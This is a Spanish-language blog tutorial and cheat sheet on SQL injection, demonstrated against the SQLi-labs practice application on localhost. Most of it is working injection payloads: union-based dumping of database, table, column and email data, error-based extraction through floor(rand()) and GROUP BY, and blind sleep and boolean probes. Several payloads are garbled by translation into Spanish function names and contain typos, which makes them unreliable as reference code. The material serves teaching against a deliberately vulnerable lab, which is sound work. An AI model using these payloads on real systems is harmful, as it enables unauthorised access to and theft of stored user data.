Descarga la hoja de trucos de inyección SQL en formato PDF para referencias rápidas.

¿Interesado en una carrera en ciberseguridad? Aprende sobre uno de los ataques cibernéticos más comunes con esta hoja de trucos de inyección SQL.

 

Los riesgos de ciberataques son desenfrenados en 2023. Estos ataques comprometen la integridad y confiabilidad de datos valiosos, por lo que la ciberseguridad es más vital ahora que nunca. Un tipo común de ciberataque es la inyección SQL, que manipula la base de datos e intenta acceder a información almacenada. Este tipo de ataque es más prevalente si tu sitio web almacena información de usuarios crucial.

Los profesionales de TI deben aprender a analizar datos manipulados, incluyendo aprender sobre hechos y atajos útiles. Es por eso que creamos esta hoja de trucos de inyección SQL para tu referencia. En ella encontrarás comandos comunes de inyección SQL, una lista de códigos de inyección SQL y mucho más.

Utiliza esta hoja de trucos de ataque de inyección SQL para aprender sobre diferentes variantes de la vulnerabilidad de Inyección SQL.

Pero antes de continuar, discutamos los ataques de inyección SQL.

¿Qué es un ataque de inyección SQL?

La inyección SQL también se conoce como SQLi. En un ataque de inyección SQL, un vector de ciberataque prevalente inyecta código SQL malicioso para atacar, acceder y modificar intencionalmente la base de datos backend de un sitio web.

En este ataque, el hacker intenta acceder a datos confidenciales, como detalles bancarios, información personal, nombres de usuario, contraseñas y más. Una vez que acceden a los datos, pueden cambiarlos o robarlos, causando un gran daño de seguridad y riesgo para tu negocio y clientes.

A continuación, echemos un vistazo a diferentes tipos de inyecciones SQL para que puedas comprender mejor cómo funciona este ataque y los posibles lugares desde donde el atacante puede golpear tu base de datos.

Diferentes tipos de ataques de inyección SQL

Aquí tienes algunos de los diferentes tipos de ataques de inyección SQL.

  • SQLi en banda (clásico): El atacante utiliza el mismo canal de comunicación para lanzar los ataques y recopilar los resultados. Este es uno de los ataques SQLi más comunes, ya que es fácil de implementar. También hay un par de subvariantes de los ataques SQLi en banda:
  • SQLi basado en errores: El atacante realiza algunas acciones en la base de datos, produciendo mensajes de error. Luego, pueden extraer datos utilizando estos mensajes de error, como la estructura de la base de datos.
  • SQLi basado en Union: Esta técnica funciona utilizando el operador SQL UNION, que combina múltiples declaraciones SELECT para obtener una sola respuesta HTTP que contiene datos beneficiosos para el atacante.
  • SQLi inferencial (ciego): En este tipo de ataque, el atacante envía cargas de inyección SQL de datos al servidor y analiza la respuesta y el comportamiento del servidor para conocer la estructura de la base de datos. A diferencia de la SQLi en banda, los datos no se transfieren de la base de datos del sitio web al atacante. Por lo tanto, no se puede ver los datos extraídos en la banda de SQLi. Las inyecciones SQL ciegas son más lentas ya que dependen de la respuesta del servidor y de los patrones de comportamiento. Ten en cuenta los siguientes subataques al conceptualizar una hoja de trucos de inyección SQL ciega:
  • Booleano: El atacante envía una consulta SQL a la base de datos para que la aplicación devuelva los datos dependiendo de si la consulta es verdadera o falsa. Este resultado también afecta la respuesta HTTP y agrega la información en la respuesta HTTP que utiliza el atacante.
  • Basado en tiempo: El atacante envía una consulta SQL a la base de datos para hacer que la base de datos espere antes de reaccionar. El atacante analizará el tiempo que tarda la base de datos. Luego, en función del resultado, se generará una respuesta HTTP instantáneamente o después de un período de espera utilizado por el atacante.
  • SQLi fuera de banda: Este ataque solo funcionará cuando ciertas características estén habilitadas en el servidor de la base de datos. Los hackers realizan SQLi fuera de banda como último recurso cuando los dos tipos de ataques anteriores no funcionan. Este ataque cuenta con la capacidad del servidor para crear solicitudes DNS o HTTP para transferir datos a un atacante.

Ahora, veremos algunos ejemplos de ataques de inyección SQL.

Ejemplos de Inyección SQL

Para estos ejemplos, estamos utilizando la serie SQLi-lab de Audi1, cuyo código fuente puedes encontrar aquí para recrear los ataques de Inyección SQL. El propósito principal es acceder a los datos almacenados en la base de datos.

Continuando, ofreceremos una hoja de trucos de Inyección SQL basada en uniones que utilizará la declaración SQL backend para ajustarse a la consulta. Esto significa que el proceso de ataque de SQLi varía. Dos cosas esenciales que asisten a los vectores de ataque SQLi en cualquier aplicación son las siguientes:

  • Error SQL mostrado.
  • Resultados SQL mostrados.

SQLi basado en Union

La SQLi basada en uniones es un tipo de SQLi en banda y el más simple, ya que el atacante puede comprender fácilmente la consulta backend a partir de los errores SQL y ver la salida de la consulta.

El sitio web parece no tener código inyectado, como se muestra a continuación:

Puedes impactar fácilmente este sitio web utilizando SQLi basado en uniones.

Primero, agregaremos ‘?id=1’ en la URL para obtener un resultado normal:

URL: http://localhost:8081/sqli-labs/Less-1/?id=1

El sitio web funcionó normalmente. Pero ahora, agregaremos código malicioso para hackear el sitio web.

Primero, visualicemos lo que el desarrollador pudo haber usado en la parte trasera de la aplicación. Aquí, asumimos que el desarrollador pudo haber utilizado la siguiente estructura de declaración SQL para probar el método.

SELECT <col_1>, <col_2>, ..., <col_n> FROM <database_name>.<table_name> WHERE <username> = '<user_input>' AND <password> = '<user_password>' LIMIT 0,1

Pero, asegúrate de tener un conocimiento sólido de SQL antes de continuar.

En el ejemplo anterior, las palabras utilizadas entre corchetes angulares aún no están confirmadas. La parte restante es la sintaxis y las palabras clave del lenguaje que pueden variar según el tipo de base de datos.

Ahora, romperemos la sentencia SQL agregando una comilla simple invertida (‘), una comilla doble invertida (“) o un carácter de escape (una barra invertida (\) en SQL).

Generalmente, en las sentencias SQL, las comillas simples o dobles encierran las cadenas de entrada del usuario. Pero si usamos una de estas en medio de la consulta, desequilibrará la sentencia SQL y causará un error en la pantalla.

URL: localhost:8081/sqli-labs/Less-1/?id=1\

Como puedes ver, obtendrás un error. Por lo tanto, debes verificar qué símbolo (‘,’’, \) ha causado este error. Ahora, insertaremos una consulta SQL maliciosa en el argumento simple. Pero primero, debemos asegurarnos de que el código esté equilibrado para ser ejecutado.

Por ejemplo, si el desarrollador ha utilizado un paréntesis, también debemos agregar un paréntesis para equilibrar el código. También puedes agregar el carácter de comentario para equilibrar la declaración.

URL: localhost:8081/sqli-labs/Less-1/?id=1’–+

Para equilibrar el código, necesitas conocer el número de columnas de la tabla que te ayudará a volcar la salida de tu consulta después de realizar la unión con la salida original.

Para averiguar el número de columnas, puedes usar la cláusula ‘ORDER BY’, que ordena (asc/dsc) las entradas en la tabla en función de un número de columna dado. Pero si proporcionamos un número de columna mayor que el número total real en la salida, obtendrás un error. Puedes usar la cláusula ‘ORDER BY’ como se muestra a continuación.

SELECT col1 FROM table1 ORDER BY 1

La consulta anterior ordenará la salida de la consulta en el número de columna 1.

Para encontrar el número máximo de columnas para obtener un resultado exitoso, debes comenzar desde menor a mayor. Para este sitio web, hemos usado el número máximo de columnas: tres.

URL: localhost:8081/sqli-labs/Less-1/?id=1’+order+by+3–+

En la imagen de arriba, observa que ‘%27’ en la URL es el código URL para una comilla invertida (‘), y ‘+’ se utiliza para un espacio. Hemos recibido un error porque se excedió el número máximo de columnas. Ahora, intentaremos con el número de columna 4.

URL: localhost:8081/sqli-labs/Less-1/?id=1’+order+by+4–+

Después de reemplazar la cláusula ‘ORDER BY’ con la cláusula ‘UNION’, tenemos un lugar para volcar datos en la pantalla.

URL: localhost:8081/sqli-labs/Less-1/?id=1’+union+select+1,2,3–+

Ahora, hemos codificado los valores de columna para ser unidos, para ver si los valores se están volcando.

En la unión de dos tablas, el número de columnas de ambas tablas debe ser igual. Pero aquí es de tres. Hemos reemplazado el ID válido con un ID no válido para mostrar los datos. Ahora, solo nos queda una fila después de la unión que será el resultado de nuestra consulta inyectada.

URL: localhost:8081/sqli-labs/Less-1/?id=-1’+union+select+1,2,3–+

Aquí, hemos usado -1 para hacer que el ID sea no válido y, por lo tanto, nuestros datos que son ‘2’ y ‘3’ ahora se muestran en lugar de los datos originales. Ahora usaremos las funciones de la base de datos para extraer la información de la base de datos.

URL: localhost:8081/sqli-labs/Less-1/?id=-1’+union+select+1,database(),3–+

En la URL anterior, hemos usado la función ‘database()’ en lugar de ‘2’ en la consulta inyectada para obtener el nombre de la base de datos actual, que es ‘security’. A continuación, hemos mencionado algunas funciones SQL comunes para extraer la información.

  • version(): para obtener la versión actual de SQL.
  • @@datadir: para obtener el directorio donde se encuentra la base de datos de SQL.
  • User() o current_user: para obtener el usuario que creó o administra la base de datos.

Supongamos que deseas extraer los nombres de las tablas, los nombres de las columnas y la información de los campos. En ese caso, puedes usar tablas específicas de la base de datos llamada ‘information_schema’, que mantiene los metadatos de todas las bases de datos, tablas y columnas creadas por el usuario.

Usaremos la siguiente consulta para extraer las tablas de la base de datos actual.

SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1;

Esto devolverá los nombres de las tablas en la base de datos actual, incrementando el primer argumento después de la cláusula LIMIT.

URL: localhost:8081/sqli-labs/Less-1/?id=-1’+union+select+1,table_name,3+from+information_schema.tables+where+table_schema=database()+limit+0,1–+

También puedes utilizar la tabla ‘columns’ en la base de datos ‘information_schema’ para obtener los nombres de las columnas de la tabla especificada.

SELECT column_name FROM information_schema.columns WHERE table_name = <nombre_de_tabla_específica> LIMIT 0,1;

Al igual que con los nombres de las tablas, también puedes obtener los nombres de las columnas de una tabla específica e iterar a través de todas las filas de la tabla ‘columns’:

URL: localhost:8081/sqli-labs/Less-1/?id=-1’+union+select+1,column_name,3+from+information_schema.columns+where+table_name=‘emails’+limit+0,1–+

El nombre de la primera columna de la tabla ’emails’ de la base de datos llamada ‘security’ es ‘id’. De manera similar, el nombre de la segunda columna es ’email_id’.

Ahora, inyectaremos la siguiente sentencia SQL.

SELECT email_id FROM emails LIMIT 0,1

Después de esto, obtendrás la siguiente salida como se muestra a continuación.

URL: localhost:8081/sqli-labs/Less-1/?id=-1%27+union+select+1,email_id,3+from+emails+limit+0,1–+

De esta manera, puedes inyectar consultas para obtener acceso a los datos almacenados en la base de datos.

SQLi basada en errores

Este tipo de ataque te proporciona un mensaje de error en lugar de la salida, por lo que debes inyectar el código malicioso solo en los errores de SQL. Vea la imagen de ejemplo a continuación:

URL: localhost:8081/sqli-labs/Less-5/?id=1

Para mostrar el error de SQL en la pantalla, puedes usar comillas simples o dobles.

URL: localhost:8081/sqli-labs/Less-5/?id=1%27

El enfoque es el mismo que el SQLi basado en uniones. La única diferencia es que solo puedes ejecutar consultas específicas. La declaración será un poco más compleja para provocar un error de SQL y volcar la salida de la consulta con él.

SELECT 1 from (SELECT COUNT(*), CONCAT(0x3a, 0x3a, (SELECT database()), 0x3a, 0x3a, floor( rand() * 2 ) )a FROM information_schema.columns GROUP BY a ) b;

Desglosaremos la consulta anterior en subconsultas para entenderlas mejor:

El código malicioso es ‘SELECT database()’, que muestra el nombre de la base de datos actual pero en el error de SQL. Aquí, tomaremos múltiples filas que pueden estar duplicadas e intentaremos colocarlas en un solo paquete o vista. En caso de filas duplicadas, recibirás un error en tiempo de ejecución de SQL por la inserción de duplicados y la salida deseada.

Una vez que comprendas cómo funciona esta consulta compleja, puedes reemplazar la parte ‘SELECT database()’ con consultas más extensas. Hemos explicado las subconsultas de la consulta compleja anterior.

  • SELECT database() :

Para obtener el nombre de la base de datos actual. Puedes reemplazarlo con otras consultas.

  • floor(rand() * 2) :

Para obtener un número aleatorio, ya sea cero o uno.

  • CONCAT(0x3a, 0x3a, (SELECT database()), 0x3a, 0x3a, floor(rand() * 2)) :

Concatenará dos dos puntos a la izquierda y dos dos puntos a la derecha del nombre de la base de datos y, al azar, cero o uno al final.

  • SELECT COUNT(*), CONCAT(0x3a, 0x3a, (SELECT database()), 0x3a, 0x3a, floor(rand() * 2))a FROM information_schema.columns GROUP BY a

La parte de la consulta entre el ‘select’ inicial y el ‘from’ se iterará varias veces igual al número de filas en la tabla de columnas de la base de datos information_schema. Lo hemos iterado intencionalmente para generar filas duplicadas y generar errores en tiempo de ejecución. Esta parte de la consulta seleccionará el recuento de filas según la agrupación por ‘a’, que es un alias del resultado concatenado previamente y la parte concatenada.

SELECT 1 from (SELECT COUNT(*), CONCAT(0x3a, 0x3a, (SELECT database()), 0x3a, 0x3a, floor(rand() * 2))a FROM information_schema.columns GROUP BY a) b;

Ahora, hemos anidado la consulta anterior en otra declaración select para obtener una columna. No queremos el resultado que devuelve aquí, así que lo hemos codificado como 1 ya que solo necesitamos el error de SQL.

También, hay una ‘b’ para dar el alias a la declaración interna de las consultas anidadas y devolver una sola fila.

URL: localhost:8081/sqli-labs/Less-5/?id=1’+and+(SELECT 1 from (SELECT COUNT(*), CONCAT(0x3a, 0x3a, (SELECT database()), 0x3a, 0x3a, floor(rand() * 2))a FROM information_schema.columns GROUP BY a)b)–+

Si no hay duplicados, obtendrás el error anterior. Lo ignoraremos y seguiremos intentando actualizando la página.

URL: localhost:8081/sqli-labs/Less-5/?id=1’+and+(SELECT 1 from (SELECT COUNT(*), CONCAT(0x3a, x3a, (SELECT database()), 0x3a, 0x3a, floor(rand() * 2))a FROM information_schema.columns GROUP BY a)b)–+

De esta manera, obtendrás el nombre de la base de datos entre dos dos puntos a cada lado y también puedes extraer otros datos de la base de datos.

Hoja de trucos para inyección SQL a ciegas

El enfoque aquí es el mismo, pero viene con un pequeño truco adicional.

URL: localhost:8081/sqli-labs/Less-8/?id=1’

Al examinar la imagen anterior, verás que no hay mensaje de error y no hay salida de la consulta SQL. A partir de aquí, puedes inyectar los datos. Para esto, usaremos la función sleep() o una expresión booleana para obtener resultados verdaderos o falsos. Haremos esto en dos enfoques diferentes, como se explica a continuación.

Basado en Retraso de Tiempo:

Usando la función sleep(), crearemos un retraso en la respuesta de la consulta SQL con el tiempo especificado como parámetro.

Basado en Booleanos:

También puedes inferir salidas verdaderas o falsas con algún mensaje positivo si la consulta se ejecuta correctamente o no se obtiene nada. Para ello, debes crear primero una afirmación verdadera y verificar si estás obteniendo un mensaje general. Luego, puedes agregar nuestra consulta para ver si sigues obteniendo el mensaje, lo que significa que es verdadero; de lo contrario, es falso.

Ahora, nuestra tarea es convertir las tablas o bases de datos en consultas que den como resultado verdadero o falso. Puedes usar la función ‘substring()’ para obtener una subcadena de una cadena dada para crear consultas booleanas. La función ‘substring()’ toma tres parámetros: la cadena original, el índice de inicio de la subcadena (el índice comienza desde uno) y varios caracteres para acotarla.

substring(<cadena_original>, <índice_de_inicio>, <número_de_caracteres>)

Para incluir las declaraciones condicionales, también puedes usar las declaraciones ‘if()’, donde el primer parámetro es la condición, el segundo es la tarea para la condición verdadera y el tercer parámetro es la tarea a ejecutar para la condición falsa.

if(<condición>, <consulta1>, <consulta2>)

Entonces, podemos iterar sobre letras o números para ver si se cumplen las condiciones.

En este caso, ya tenemos el nombre de la base de datos (‘security’), por lo que podemos usar la siguiente consulta:

if( (substring(database(), 0, 1) == ‘s’), sleep(5), null)

Hemos usado la función sleep con el valor 5. Esto retrasará la respuesta de la base de datos en 5 segundos, si el primer carácter del nombre de la base de datos es ‘s’ y no haremos nada más. En este caso, obtendrás la respuesta retrasada durante 5 segundos como se planeó.

URL: http://localhost:8081/sqli-labs/Less-8/?id=1’+and+if( (substring(database(),1,1) = ‘s’),sleep(5),null)–+

En booleano, o bien obtendrás un mensaje o no obtendrás nada en absoluto. Si obtienes el mensaje, la consulta devuelve verdadero; de lo contrario, devuelve falso.

1′ y (subcadena(base de datos(), 1, 1) = ‘s’) –+

URL: localhost:8081/sqli-labs/Less-8/?id=1’+and+(subcadena(base de datos(), 1, 1) = ‘s’)–+

Este método es engañoso, ya que tienes que probar todas las posibilidades, lo que consume la mayor parte de tu tiempo. Otra forma menos eficiente es utilizar la función ‘ascii()’ para convertir los caracteres en códigos ASCII y comparar números, y de esta manera puedes utilizar operadores relacionales.

if( (ascii(subcadena(base de datos(), 0, 1)) = 115), sleep(5), null )

Comandos de Inyección SQL

Anteriormente, hemos revisado algunas sintaxis útiles al llevar a cabo ataques de inyección SQL. Aquí hay algunos comandos comunes de inyección SQL:

Concatenación de Cadenas

Este comando concatena múltiples cadenas en una sola cadena.

Oracle

‘hel’||’met’

Microsoft

‘hel’+’met’

PostgreSQL

‘hel’||’met’

MySQL

‘hel’ ‘met’ [Nota el espacio entre las dos cadenas]

CONCAT(‘hel’,’met’)

Subcadena

Este comando te proporciona la parte especificada de la cadena.

Oracle

SUBSTR(‘helmet’, 4, 2)

Microsoft

SUBSTRING(‘helmet’, 4, 2)

PostgreSQL

SUBSTRING(‘helmet’, 4, 2)

MySQL

SUBSTRING(‘helmet’, 4, 2)

Comentarios

Este comando elimina la porción de código para que no se ejecute.

Oracle

–comentario

Microsoft

–comentario

/*comentario*/

PostgreSQL

–comentario

/*comentario*/

MySQL

#comentario

— comentario [Nota el espacio después del guión doble]

/*comentario*/

Versión de la base de datos

Para obtener la versión actual de la base de datos.

Oracle

SELECT banner FROM v$version

SELECT version FROM v$instance

Microsoft

SELECT @@version

PostgreSQL

SELECT version()


Leave a Reply

Your email address will not be published. Required fields are marked *